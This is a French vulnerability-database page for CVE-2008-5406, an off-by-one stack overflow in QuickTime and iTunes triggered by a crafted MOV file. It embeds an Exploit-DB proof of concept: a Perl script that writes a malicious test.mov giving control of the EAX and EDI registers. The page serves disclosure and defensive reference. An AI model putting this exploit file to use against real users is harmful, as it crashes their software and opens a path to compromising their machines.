CVE-2008-5406 : Détail

CVE-2008-5406

Overflow
4.73%V3
Network
2008-12-09
10h00 +00:00
2017-09-28
10h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Stack-based buffer overflow in Apple QuickTime Player 7.5.5 and iTunes 8.0.2.20 allows remote attackers to cause a denial of service (application crash) and possibly execute arbitrary code via a MOV file with "long arguments," related to an "off by one overflow."

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 7296

Date de publication : 2008-11-29 23h00 +00:00
Auteur : laurent gaffié
EDB Vérifié : Yes

--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Quicktime/Itunes Multiple Remote Off By One Overflow Application: Itunes 8.0.2.20/Quicktime 7.5.5 (249.26)(-> version 990.7) Web Site: www.apple.com/ Platform: Windows *, OS X * Bug: Off by one overflow Tested agains: Itunes 8.0.2.20/Quicktime 7.5.5 on XP SP3 fully patched ------------------------------------------------------- 1) Introduction 2) Bug 3) Proof of concept 4) Credits ================ 1) Introduction ================ "Many of today's leading authoring, multimedia and entertainment applications rely on QuickTime to do the heavy lifting. QuickTime contains a rich set of developer APIs for handling almost any audio, video and media task. Easily make your application multimedia-enabled with QuickTime." ======= 2) Bug ======= Quicktime & itunes fails to handle long arguments on a .mov file. Quicktime is compiled with the /GS cookie on , so the bug get handled with an exit code : c0000409 but ... Itunes doesn't seems to be compiled with the /GS flag, so we get some code execution possible via Itunes. The PoC give's us full control over EAX & EDI Itunes call unsafely the Quicktime function to play the .mov, so we can trigger a possible code execution via this unsafe call to quicktime héhéhé :) The only problem, is the lengh of the buffer overflowed :( erf ... 49 bytes, less the 8 bytes controlling the EDI & EAX registers so 41. i've tryed to find a way to fill some buffer in the .mov to get some code exec working on this poc, but out of luck, i guess someone will maybe be able to do some magic tricks :) ================== 3)Proof of concept ================== #!/usr/bin/perl use strict; my $movfile = "\x00\x00\x00\x7d\x6d\x6f\x6f\x76\x00\x00\x00\x75\x72\x6d\x72\x61\x00\x00\x00\x6d". "\x72\x6d\x64\x61\x00\x00\x00\x55\x72\x64\x72\x66\x00\x00\x00\x00\x75\x72\x6c\x20". "\x00\x00\x00\x41\x68\x74\x74\x70\x3a\x2f\x2f\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31". "\x2f\x74\x65\x73\x74\x2e\x6d\x6f\x76\x00\x00\x00\x00\x10\x72\x6d\x64\x72\x00\x00". "\x00\x00\x00\x00\x05\x78". "\x41\x42\x43\x44". #EDI here "\x61\x62\x63\x64". #EAX here "\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x44\x44\x44\x44\x41\x41\x43\x43". "\x43\x41\x41\x41\x42\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"; open(out, "> test.mov"); binmode(out); print (out $movfile); close(out); //if you build this same payload , with a couple of bytes before theses null bytes you will trigger the same bug but in a different way ... ===== 5)Credits ===== laurent gaffié laurent.gaffie{remove_this}[at]gmail[dot]com # milw0rm.com [2008-11-30]

Products Mentioned

Configuraton 0

Apple>>Itunes >> Version 8.0.2.20

    Apple>>Quicktime >> Version 7.5.5

    Références

    http://securityreason.com/securityalert/4704
    Tags : third-party-advisory, x_refsource_SREASON
    https://www.exploit-db.com/exploits/7296
    Tags : exploit, x_refsource_EXPLOIT-DB
    http://www.securityfocus.com/bid/32540
    Tags : vdb-entry, x_refsource_BID